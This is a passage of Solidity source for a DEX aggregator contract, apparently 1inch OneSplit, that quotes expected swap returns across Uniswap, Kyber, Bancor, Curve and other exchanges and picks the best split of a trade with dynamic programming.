for IBancorEtherToken; using UniswapV2ExchangeLib for IUniswapV2Exchange; using ChaiHelper for IChai; uint256 constant public DEXES_COUNT = 23; IERC20 constant internal ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); IERC20 constant internal dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); IERC20 constant internal bnt = IERC20(0x1F573D6Fb3F13d689FF844B4cE37794d79a7FF1C); IERC20 constant internal usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 constant internal usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); IERC20 constant internal tusd = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376); IERC20 constant internal busd = IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53); IERC20 constant internal susd = IERC20(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51); IERC20 constant internal pax = IERC20(0x8E870D67F660D95d5be530380D0eC0bd388289E1); IWETH constant internal weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IBancorEtherToken constant internal bancorEtherToken = IBancorEtherToken(0xc0829421C1d260BD3cB3E0F06cfE2D52db2cE315); IChai constant internal chai = IChai(0x06AF07097C9Eeb7fD685c692751D5C66dB49c215); IERC20 constant internal renbtc = IERC20(0x93054188d876f558f4a66B2EF1d97d16eDf0895B); IERC20 constant internal wbtc = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); IERC20 constant internal tbtc = IERC20(0x1bBE271d15Bb64dF0bc6CD28Df9Ff322F2eBD847); IERC20 constant internal hbtc = IERC20(0x0316EB71485b0Ab14103307bf65a021042c6d380); IKyberNetworkProxy constant internal kyberNetworkProxy = IKyberNetworkProxy(0x818E6FECD516Ecc3849DAf6845e3EC868087B755); IUniswapFactory constant internal uniswapFactory = IUniswapFactory(0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95); IBancorContractRegistry constant internal bancorContractRegistry = IBancorContractRegistry(0x52Ae12ABe5D8BD778BD5397F99cA900624CfADD4); //IBancorNetworkPathFinder constant internal bancorNetworkPathFinder = IBancorNetworkPathFinder(0x6F0cD8C4f6F06eAB664C7E3031909452b4B72861); //IBancorConverterRegistry constant internal bancorConverterRegistry = IBancorConverterRegistry(0xf6E2D7F616B67E46D708e4410746E9AAb3a4C518); IOasisExchange constant internal oasisExchange = IOasisExchange(0x794e6e91555438aFc3ccF1c5076A74F42133d08D); ICurve constant internal curveCompound = ICurve(0xA2B47E3D5c44877cca798226B7B8118F9BFb7A56); ICurve constant internal curveUsdt = ICurve(0x52EA46506B9CC5Ef470C5bf89f17Dc28bB35D85C); ICurve constant internal curveY = ICurve(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51); ICurve constant internal curveBinance = ICurve(0x79a8C46DeA5aDa233ABaFFD40F3A0A2B1e5A4F27); ICurve constant internal curveSynthetix = ICurve(0xA5407eAE9Ba41422680e2e00537571bcC53efBfD); ICurve constant internal curvePax = ICurve(0x06364f10B501e868329afBc005b3492902d6C763); ICurve constant internal curveRenBtc = ICurve(0x8474c1236F0Bc23830A23a41aBB81B2764bA9f4F); ICurve constant internal curveTBtc = ICurve(0x9726e9314eF1b96E45f40056bEd61A088897313E); IShell constant internal shell = IShell(0xA8253a440Be331dC4a7395B73948cCa6F19Dc97D); IAaveLendingPool constant internal aave = IAaveLendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); ICompound constant internal compound = ICompound(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); ICompoundEther constant internal cETH = ICompoundEther(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5); IMooniswapRegistry constant internal mooniswapRegistry = IMooniswapRegistry(0x7079E8517594e5b21d2B9a0D17cb33F5FE2bca70); IUniswapV2Factory constant internal uniswapV2 = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); IDForceSwap constant internal dforceSwap = IDForceSwap(0x03eF3f37856bD08eb47E2dE7ABc4Ddd2c19B60F2); IMStable constant internal musd = IMStable(0xe2f2a5C287993345a840Db3B0845fbC70f5935a5); IMassetRedemptionValidator constant internal musd_helper = IMassetRedemptionValidator(0xe7e41f1b97F3EB2f218d99ecB22351Fa669D5944); function _buildBancorPath( IERC20 fromToken, IERC20 destToken ) internal view returns(address[] memory path) { if (fromToken == destToken) { return new address[](0); } if (fromToken.isETH()) { fromToken = ETH_ADDRESS; } if (destToken.isETH()) { destToken = ETH_ADDRESS; } if (fromToken == bnt || destToken == bnt) { path = new address[](3); } else { path = new address[](5); } address fromConverter; address toConverter; IBancorConverterRegistry bancorConverterRegistry = IBancorConverterRegistry(bancorContractRegistry.addressOf("BancorConverterRegistry")); if (fromToken != bnt) { (bool success, bytes memory data) = address(bancorConverterRegistry).staticcall.gas(100000)(abi.encodeWithSelector( bancorConverterRegistry.getConvertibleTokenSmartToken.selector, fromToken.isETH() ? ETH_ADDRESS : fromToken, 0 )); if (!success) { return new address[](0); } fromConverter = abi.decode(data, (address)); if (fromConverter == address(0)) { return new address[](0); } } if (destToken != bnt) { (bool success, bytes memory data) = address(bancorConverterRegistry).staticcall.gas(100000)(abi.encodeWithSelector( bancorConverterRegistry.getConvertibleTokenSmartToken.selector, destToken.isETH() ? ETH_ADDRESS : destToken, 0 )); if (!success) { return new address[](0); } toConverter = abi.decode(data, (address)); if (toConverter == address(0)) { return new address[](0); } } if (destToken == bnt) { path[0] = address(fromToken); path[1] = fromConverter; path[2] = address(bnt); return path; } if (fromToken == bnt) { path[0] = address(bnt); path[1] = toConverter; path[2] = address(destToken); return path; } path[0] = address(fromToken); path[1] = fromConverter; path[2] = address(bnt); path[3] = toConverter; path[4] = address(destToken); return path; } function _getCompoundToken(IERC20 token) internal pure returns(ICompoundToken) { if (token.isETH()) { // ETH return ICompoundToken(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5); } if (token == IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F)) { // DAI return ICompoundToken(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643); } if (token == IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF)) { // BAT return ICompoundToken(0x6C8c6b02E7b2BE14d4fA6022Dfd6d75921D90E4E); } if (token == IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862)) { // REP return ICompoundToken(0x158079Ee67Fce2f58472A96584A73C7Ab9AC95c1); } if (token == IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)) { // USDC return ICompoundToken(0x39AA39c021dfbaE8faC545936693aC917d5E7563); } if (token == IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)) { // WBTC return ICompoundToken(0xC11b1268C1A384e55C48c2391d8d480264A3A7F4); } if (token == IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498)) { // ZRX return ICompoundToken(0xB3319f5D18Bc0D84dD1b4825Dcde5d5f7266d407); } if (token == IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7)) { // USDT return ICompoundToken(0xf650C3d88D12dB855b8bf7D11Be6C55A4e07dCC9); } return ICompoundToken(0); } function _getAaveToken(IERC20 token) internal pure returns(IAaveToken) { if (token.isETH()) { // ETH return IAaveToken(0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04); } if (token == IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F)) { // DAI return IAaveToken(0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d); } if (token == IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)) { // USDC return IAaveToken(0x9bA00D6856a4eDF4665BcA2C2309936572473B7E); } if (token == IERC20(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51)) { // SUSD return IAaveToken(0x625aE63000f46200499120B906716420bd059240); } if (token == IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53)) { // BUSD return IAaveToken(0x6Ee0f7BB50a54AB5253dA0667B0Dc2ee526C30a8); } if (token == IERC20(0x0000000000085d4780B73119b644AE5ecd22b376)) { // TUSD return IAaveToken(0x4DA9b813057D04BAef4e5800E36083717b4a0341); } if (token == IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7)) { // USDT return IAaveToken(0x71fc860F7D3A592A4a98740e39dB31d25db65ae8); } if (token == IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF)) { // BAT return IAaveToken(0xE1BA0FB44CCb0D11b80F92f4f8Ed94CA3fF51D00); } if (token == IERC20(0xdd974D5C2e2928deA5F71b9825b8b646686BD200)) { // KNC return IAaveToken(0x9D91BE44C06d373a8a226E1f3b146956083803eB); } if (token == IERC20(0x80fB784B7eD66730e8b1DBd9820aFD29931aab03)) { // LEND return IAaveToken(0x7D2D3688Df45Ce7C552E19c27e007673da9204B8); } if (token == IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA)) { // LINK return IAaveToken(0xA64BD6C70Cb9051F6A9ba1F163Fdc07E0DfB5F84); } if (token == IERC20(0x0F5D2fB29fb7d3CFeE444a200298f468908cC942)) { // MANA return IAaveToken(0x6FCE4A401B6B80ACe52baAefE4421Bd188e76F6f); } if (token == IERC20(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2)) { // MKR return IAaveToken(0x7deB5e830be29F91E298ba5FF1356BB7f8146998); } if (token == IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862)) { // REP return IAaveToken(0x71010A9D003445aC60C4e6A7017c1E89A477B438); } if (token == IERC20(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F)) { // SNX return IAaveToken(0x328C4c80BC7aCa0834Db37e6600A6c49E12Da4DE); } if (token == IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)) { // WBTC return IAaveToken(0xFC4B8ED459e00e5400be803A9BB3954234FD50e3); } if (token == IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498)) { // ZRX return IAaveToken(0x6Fb0855c404E09c47C3fBCA25f08d4E41f9F062f); } return IAaveToken(0); } } contract OneSplitViewWrapBase is IOneSplitView, OneSplitRoot { function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) public view returns( uint256 returnAmount, uint256[] memory distribution ) { (returnAmount, , distribution) = this.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, 0 ); } function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { return _getExpectedReturnRespectingGasFloor( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } function _getExpectedReturnRespectingGasFloor( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, // See constants in IOneSplit.sol uint256 destTokenEthPriceTimesGasPrice ) internal view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ); } contract OneSplitView is IOneSplitView, OneSplitRoot { function _findBestDistribution( uint256 s, // parts int256[][DEXES_COUNT] memory amounts // exchangesReturns ) internal pure returns(int256 returnAmount, uint256[] memory distribution) { uint256 n = amounts.length; int256[][] memory answer = new int256[][](n); // int[n][s+1] uint256[][] memory parent = new uint256[][](n); // int[n][s+1] for (uint i = 0; i < n; i++) { answer[i] = new int256[](s + 1); parent[i] = new uint256[](s + 1); } for (uint j = 0; j <= s; j++) { answer[0][j] = amounts[0][j]; parent[0][j] = 0; } for (uint i = 1; i < n; i++) { for (uint j = 0; j <= s; j++) { answer[i][j] = answer[i - 1][j]; parent[i][j] = j; for (uint k = 1; k <= j; k++) { if (answer[i - 1][j - k] + amounts[i][k] > answer[i][j]) { answer[i][j] = answer[i - 1][j - k] + amounts[i][k]; parent[i][j] = j - k; } } } } distribution = new uint256[](DEXES_COUNT); uint256 partsLeft = s; for (uint curExchange = n - 1; partsLeft > 0; curExchange--) { distribution[curExchange] = partsLeft - parent[curExchange][partsLeft]; partsLeft = parent[curExchange][partsLeft]; } returnAmount = answer[n - 1][s]; } function getExchangeName(uint256 i) public pure returns(string memory) { return [ "Uniswap", "Kyber", "Bancor", "Oasis", "Curve Compound", "Curve USDT", "Curve Y", "Curve Binance", "CurveSynthetix", "Uniswap Compound", "Uniswap CHAI", "Uniswap Aave", "Mooniswap", "Uniswap V2", "Uniswap V2 (ETH)", "Uniswap V2 (DAI)", "Uniswap V2 (USDC)", "Curve Pax", "Curve RenBTC", "Curve tBTC", "Dforce XSwap", "Shell", "mStable" ][i]; } function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) public view returns( uint256 returnAmount, uint256[] memory distribution ) { (returnAmount, , distribution) = getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, 0 ); } function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, // See constants in IOneSplit.sol uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { distribution = new uint256[](DEXES_COUNT); if (fromToken == destToken) { return (amount, 0, distribution); } function(IERC20,IERC20,uint256,uint256,uint256) view returns(uint256[] memory, uint256)[DEXES_COUNT] memory reserves = _getAllReserves(flags); int256[][DEXES_COUNT] memory matrix; uint256[DEXES_COUNT] memory gases; for (uint i = 0; i < DEXES_COUNT; i++) { uint256[] memory rets; (rets, gases[i]) = reserves[i](fromToken, destToken, amount, parts, flags); // Prepend zero matrix[i] = new int256[](parts + 1); for (uint j = 0; j < parts; j++) { matrix[i][j + 1] = int256(rets[j]); } // Respect gas in first part matrix[i][1] -= int256(gases[i].mul(destTokenEthPriceTimesGasPrice).div(1e18)); } (, distribution) = _findBestDistribution(parts, matrix); // Recalculate exact returnAmount for (uint i = 0; i < DEXES_COUNT; i++) { if (distribution[i] > 0) { estimateGasAmount = estimateGasAmount.add(gases[i]); returnAmount = returnAmount.add( uint256(matrix[i][distribution[i]]) ); if (distribution[i] == 1) { returnAmount = returnAmount.add( gases[i].mul(destTokenEthPriceTimesGasPrice).div(1e18) ); } } } } function _getAllReserves(uint256 flags) internal pure returns(function(IERC20,IERC20,uint256,uint256,uint256) view returns(uint256[] memory, uint256)[DEXES_COUNT] memory) { bool invert = flags.check(FLAG_DISABLE_ALL_SPLIT_SOURCES); return [ invert != flags.check(FLAG_DISABLE_UNISWAP) ? _calculateNoReturn : calculateUniswapReturn, invert != flags.check(FLAG_DISABLE_KYBER) ? _calculateNoReturn : calculateKyberReturn, invert != flags.check(FLAG_DISABLE_BANCOR) ? _calculateNoReturn : calculateBancorReturn, invert != flags.check(FLAG_DISABLE_OASIS) ? _calculateNoReturn : calculateOasisReturn, invert != flags.check(FLAG_DISABLE_CURVE_COMPOUND) ? _calculateNoReturn : calculateCurveCompound, invert != flags.check(FLAG_DISABLE_CURVE_USDT) ? _calculateNoReturn : calculateCurveUsdt, invert != flags.check(FLAG_DISABLE_CURVE_Y) ? _calculateNoReturn : calculateCurveY, invert != flags.check(FLAG_DISABLE_CURVE_BINANCE) ? _calculateNoReturn : calculateCurveBinance, invert != flags.check(FLAG_DISABLE_CURVE_SYNTHETIX) ? _calculateNoReturn : calculateCurveSynthetix, (true) != flags.check(FLAG_ENABLE_UNISWAP_COMPOUND) ? _calculateNoReturn : calculateUniswapCompound, (true) != flags.check(FLAG_ENABLE_UNISWAP_CHAI) ? _calculateNoReturn : calculateUniswapChai, (true) != flags.check(FLAG_ENABLE_UNISWAP_AAVE) ? _calculateNoReturn : calculateUniswapAave, invert != flags.check(FLAG_DISABLE_MOONISWAP) ? _calculateNoReturn : calculateMooniswap, invert != flags.check(FLAG_DISABLE_UNISWAP_V2) ? _calculateNoReturn : calculateUniswapV2, invert != flags.check(FLAG_DISABLE_UNISWAP_V2_ETH) ? _calculateNoReturn : calculateUniswapV2ETH, invert != flags.check(FLAG_DISABLE_UNISWAP_V2_DAI) ? _calculateNoReturn : calculateUniswapV2DAI, invert != flags.check(FLAG_DISABLE_UNISWAP_V2_USDC) ? _calculateNoReturn : calculateUniswapV2USDC, invert != flags.check(FLAG_DISABLE_CURVE_PAX) ? _calculateNoReturn : calculateCurvePax, invert != flags.check(FLAG_DISABLE_CURVE_RENBTC) ? _calculateNoReturn : calculateCurveRenBtc, invert != flags.check(FLAG_DISABLE_CURVE_TBTC) ? _calculateNoReturn : calculateCurveTBtc, invert != flags.check(FLAG_DISABLE_DFORCE_SWAP) ? _calculateNoReturn : calculateDforceSwap, invert != flags.check(FLAG_DISABLE_SHELL) ? _calculateNoReturn : calculateShell, invert != flags.check(FLAG_DISABLE_MSTABLE_MUSD) ? _calculateNoReturn : calculateMStableMUSD ]; } function _calculateNoGas( IERC20 /*fromToken*/, IERC20 /*destToken*/, uint256 /*amount*/, uint256 /*parts*/, uint256 /*destTokenEthPriceTimesGasPrice*/, uint256 /*flags*/, uint256 /*destTokenEthPrice*/ ) internal view returns(uint256[] memory /*rets*/, uint256 /*gas*/) { this; } // View Helpers function _linearInterpolation( uint256 value, uint256 parts ) internal pure returns(uint256[] memory rets) { rets = new uint256[](parts); for (uint i = 0; i < parts; i++) { rets[i] = value.mul(i + 1).div(parts); } } function calculateMStableMUSD( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 /*flags*/ ) internal view returns(uint256[] memory rets, uint256 gas) { rets = new uint256[](parts); if ((fromToken != usdc && fromToken != dai && fromToken != usdt && fromToken != tusd) || (destToken != usdc && destToken != dai && destToken != usdt && destToken != tusd)) { return (rets, 0); } for (uint i = 1; i <= parts; i *= 2) { (bool success, bytes memory data) = address(musd).staticcall(abi.encodeWithSelector( musd.getSwapOutput.selector, fromToken, destToken, amount.mul(parts.div(i)).div(parts) )); if (success && data.length > 0) { (,, uint256 maxRet) = abi.decode(data, (bool,string,uint256)); if (maxRet > 0) { for (uint j = 0; j < parts.div(i); j++) { rets[j] = maxRet.mul(j + 1).div(parts.div(i)); } break; } } } return ( rets, 700_000 ); } function _calculateCurveSelector( ICurve curve, bytes4 sel, IERC20[] memory tokens, IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 /*flags*/ ) internal view returns(uint256[] memory rets) { int128 i = 0; int128 j = 0; for (uint t = 0; t < tokens.length; t++) { if (fromToken == tokens[t]) { i = int128(t + 1); } if (destToken == tokens[t]) { j = int128(t + 1); } } if (i == 0 || j == 0) { return new uint256[](parts); } // curve.get_dy(i - 1, j - 1, amount); // curve.get_dy_underlying(i - 1, j - 1, amount); (bool success, bytes memory data) = address(curve).staticcall(abi.encodeWithSelector(sel, i - 1, j - 1, amount)); uint256 maxRet = (!success || data.length == 0) ? 0 : abi.decode(data, (uint256)); return _linearInterpolation(maxRet, parts); } function _calculateCurveUnderlying( ICurve curve, IERC20[] memory tokens, IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets) { return _calculateCurveSelector( curve, curve.get_dy_underlying.selector, tokens, fromToken, destToken, amount, parts, flags ); } function _calculateCurve( ICurve curve, IERC20[] memory tokens, IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets) { return _calculateCurveSelector( curve, curve.get_dy.selector, tokens, fromToken, destToken, amount, parts, flags ); } function calculateCurveCompound( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { IERC20[] memory tokens = new IERC20[](2); tokens[0] = dai; tokens[1] = usdc; return (_calculateCurveUnderlying( curveCompound, tokens, fromToken, destToken, amount, parts, flags ), 720_000); } function calculateCurveUsdt( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { IERC20[] memory tokens = new IERC20[](3); tokens[0] = dai; tokens[1] = usdc; tokens[2] = usdt; return (_calculateCurveUnderlying( curveUsdt, tokens, fromToken, destToken, amount, parts, flags ), 720_000); } function calculateCurveY( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { IERC20[] memory tokens = new IERC20[](4); tokens[0] = dai; tokens[1] = usdc; tokens[2] = usdt; tokens[3] = tusd; return (_calculateCurveUnderlying( curveY, tokens, fromToken, destToken, amount, parts, flags ), 1_400_000); } function calculateCurveBinance( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { IERC20[] memory tokens = new IERC20[](4); tokens[0] = dai; tokens[1] = usdc; tokens[2] = usdt; tokens[3] = busd; return (_calculateCurveUnderlying( curveBinance, tokens, fromToken, destToken, amount, parts, flags ), 1_400_000); } function calculateCurveSynthetix( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { IERC20[] memory tokens = new IERC20[](4); tokens[0] = dai; tokens[1] = usdc; tokens[2] = usdt; tokens[3] = susd; return (_calculateCurveUnderlying( curveSynthetix, tokens, fromToken, destToken, amount, parts, flags ), 200_000); } function calculateCurvePax( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { IERC20[] memory tokens = new IERC20[](4); tokens[0] = dai; tokens[1] = usdc; tokens[2] = usdt; tokens[3] = pax; return (_calculateCurveUnderlying( curvePax, tokens, fromToken, destToken, amount, parts, flags ), 1_000_000); } function calculateCurveRenBtc( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { IERC20[] memory tokens = new IERC20[](2); tokens[0] = renbtc; tokens[1] = wbtc; return (_calculateCurve( curveRenBtc, tokens, fromToken, destToken, amount, parts, flags ), 130_000); } function calculateCurveTBtc( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { IERC20[] memory tokens = new IERC20[](3); tokens[0] = tbtc; tokens[1] = wbtc; tokens[2] = hbtc; return (_calculateCurve( curveTBtc, tokens, fromToken, destToken, amount, parts, flags ), 145_000); } function calculateShell( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 /*flags*/ ) internal view returns(uint256[] memory rets, uint256 gas) { (bool success, bytes memory data) = address(shell).staticcall(abi.encodeWithSelector( shell.viewOriginTrade.selector, fromToken, destToken, amount )); if (!success || data.length == 0) { return (new uint256[](parts), 0); } uint256 maxRet = abi.decode(data, (uint256)); return (_linearInterpolation(maxRet, parts), 300_000); } function calculateDforceSwap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 /*flags*/ ) internal view returns(uint256[] memory rets, uint256 gas) { (bool success, bytes memory data) = address(dforceSwap).staticcall( abi.encodeWithSelector( dforceSwap.getAmountByInput.selector, fromToken, destToken, amount ) ); if (!success || data.length == 0) { return (new uint256[](parts), 0); } uint256 maxRet = abi.decode(data, (uint256)); uint256 available = destToken.universalBalanceOf(address(dforceSwap)); if (maxRet > available) { return (new uint256[](parts), 0); } return (_linearInterpolation(maxRet, parts), 160_000); } function _calculateUniswapFormula(uint256 fromBalance, uint256 toBalance, uint256 amount) internal pure returns(uint256) { return amount.mul(toBalance).mul(997).div( fromBalance.mul(1000).add(amount.mul(997)) ); } function _calculateUniswapReturn( IERC20 fromToken, IERC20 destToken, uint256[] memory amounts, uint256 /*flags*/ ) internal view returns(uint256[] memory rets, uint256 gas) { rets = amounts; if (!fromToken.isETH()) { IUniswapExchange fromExchange = uniswapFactory.getExchange(fromToken); if (fromExchange == IUniswapExchange(0)) { return (new uint256[](rets.length), 0); } uint256 fromTokenBalance = fromToken.universalBalanceOf(address(fromExchange)); uint256 fromEtherBalance = address(fromExchange).balance; for (uint i = 0; i < rets.length; i++) { rets[i] = _calculateUniswapFormula(fromTokenBalance, fromEtherBalance, rets[i]); } } if (!destToken.isETH()) { IUniswapExchange toExchange = uniswapFactory.getExchange(destToken); if (toExchange == IUniswapExchange(0)) { return (new uint256[](rets.length), 0); } uint256 toEtherBalance = address(toExchange).balance; uint256 toTokenBalance = destToken.universalBalanceOf(address(toExchange)); for (uint i = 0; i < rets.length; i++) { rets[i] = _calculateUniswapFormula(toEtherBalance, toTokenBalance, rets[i]); } } return (rets, fromToken.isETH() || destToken.isETH() ? 60_000 : 100_000); } function calculateUniswapReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { return _calculateUniswapReturn( fromToken, destToken, _linearInterpolation(amount, parts), flags ); } function _calculateUniswapWrapped( IERC20 fromToken, IERC20 midToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 midTokenPrice, uint256 flags, uint256 gas1, uint256 gas2 ) internal view returns(uint256[] memory rets, uint256 gas) { if (!fromToken.isETH() && destToken.isETH()) { (rets, gas) = _calculateUniswapReturn( midToken, destToken, _linearInterpolation(amount.mul(1e18).div(midTokenPrice), parts), flags ); return (rets, gas + gas1); } else if (fromToken.isETH() && !destToken.isETH()) { (rets, gas) = _calculateUniswapReturn( fromToken, midToken, _linearInterpolation(amount, parts), flags ); for (uint i = 0; i < parts; i++) { rets[i] = rets[i].mul(midTokenPrice).div(1e18); } return (rets, gas + gas2); } return (new uint256[](parts), 0); } function calculateUniswapCompound( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { IERC20 midPreToken; if (!fromToken.isETH() && destToken.isETH()) { midPreToken = fromToken; } else if (!destToken.isETH() && fromToken.isETH()) { midPreToken = destToken; } if (!midPreToken.isETH()) { ICompoundToken midToken = _getCompoundToken(midPreToken); if (midToken != ICompoundToken(0)) { return _calculateUniswapWrapped( fromToken, midToken, destToken, amount, parts, midToken.exchangeRateStored(), flags, 200_000, 200_000 ); } } return (new uint256[](parts), 0); } function calculateUniswapChai( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { if (fromToken == dai && destToken.isETH() || fromToken.isETH() && destToken == dai) { return _calculateUniswapWrapped( fromToken, chai, destToken, amount, parts, chai.chaiPrice(), flags, 180_000, 160_000 ); } return (new uint256[](parts), 0); } function calculateUniswapAave( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { IERC20 midPreToken; if (!fromToken.isETH() && destToken.isETH()) { midPreToken = fromToken; } else if (!destToken.isETH() && fromToken.isETH()) { midPreToken = destToken; } if (!midPreToken.isETH()) { IAaveToken midToken = _getAaveToken(midPreToken); if (midToken != IAaveToken(0)) { return _calculateUniswapWrapped( fromToken, midToken, destToken, amount, parts, 1e18, flags, 310_000, 670_000 ); } } return (new uint256[](parts), 0); } function _calculateKyberReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 flags ) internal view returns(uint256 returnAmount, uint256 gas) { (bool success, bytes memory data) = address(kyberNetworkProxy).staticcall.gas(2300)(abi.encodeWithSelector( kyberNetworkProxy.kyberNetworkContract.selector )); if (!success || data.length == 0) { return (0, 0); } IKyberNetworkContract kyberNetworkContract = IKyberNetworkContract(abi.decode(data, (address))); if (fromToken.isETH() || destToken.isETH()) { return _calculateKyberReturnWithEth(kyberNetworkContract, fromToken, destToken, amount, flags); } (uint256 value, uint256 gasFee) = _calculateKyberReturnWithEth(kyberNetworkContract, fromToken, ETH_ADDRESS, amount, flags); if (value == 0) { return (0, 0); } (uint256 value2, uint256 gasFee2) = _calculateKyberReturnWithEth(kyberNetworkContract, ETH_ADDRESS, destToken, value, flags); return (value2, gasFee + gasFee2); } function _calculateKyberReturnWithEth( IKyberNetworkContract kyberNetworkContract, IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 flags ) internal view returns(uint256 returnAmount, uint256 gas) { require(fromToken.isETH() || destToken.isETH(), "One of the tokens should be ETH"); (bool success, bytes memory data) = address(kyberNetworkContract).staticcall.gas(1500000)(abi.encodeWithSelector( kyberNetworkContract.searchBestRate.selector, fromToken.isETH() ? ETH_ADDRESS : fromToken, destToken.isETH() ? ETH_ADDRESS : destToken, amount, true )); if (!success) { return (0, 0); } (address reserve, uint256 ret) = abi.decode(data, (address,uint256)); if (ret == 0) { return (0, 0); } if ((reserve == 0x31E085Afd48a1d6e51Cc193153d625e8f0514C7F && !flags.check(FLAG_ENABLE_KYBER_UNISWAP_RESERVE)) || (reserve == 0x1E158c0e93c30d24e918Ef83d1e0bE23595C3c0f && !flags.check(FLAG_ENABLE_KYBER_OASIS_RESERVE)) || (reserve == 0x053AA84FCC676113a57e0EbB0bD1913839874bE4 && !flags.check(FLAG_ENABLE_KYBER_BANCOR_RESERVE))) { return (0, 0); } if (!flags.check(FLAG_ENABLE_KYBER_UNISWAP_RESERVE)) { (success,) = reserve.staticcall.gas(2300)(abi.encodeWithSelector( IKyberUniswapReserve(reserve).uniswapFactory.selector )); if (success) { return (0, 0); } } if (!flags.check(FLAG_ENABLE_KYBER_OASIS_RESERVE)) { (success,) = reserve.staticcall.gas(2300)(abi.encodeWithSelector( IKyberOasisReserve(reserve).otc.selector )); if (success) { return (0, 0); } } if (!flags.check(FLAG_ENABLE_KYBER_BANCOR_RESERVE)) { (success,) = reserve.staticcall.gas(2300)(abi.encodeWithSelector( IKyberBancorReserve(reserve).bancorEth.selector )); if (success) { return (0, 0); } } return ( ret.mul(amount) .mul(10 ** 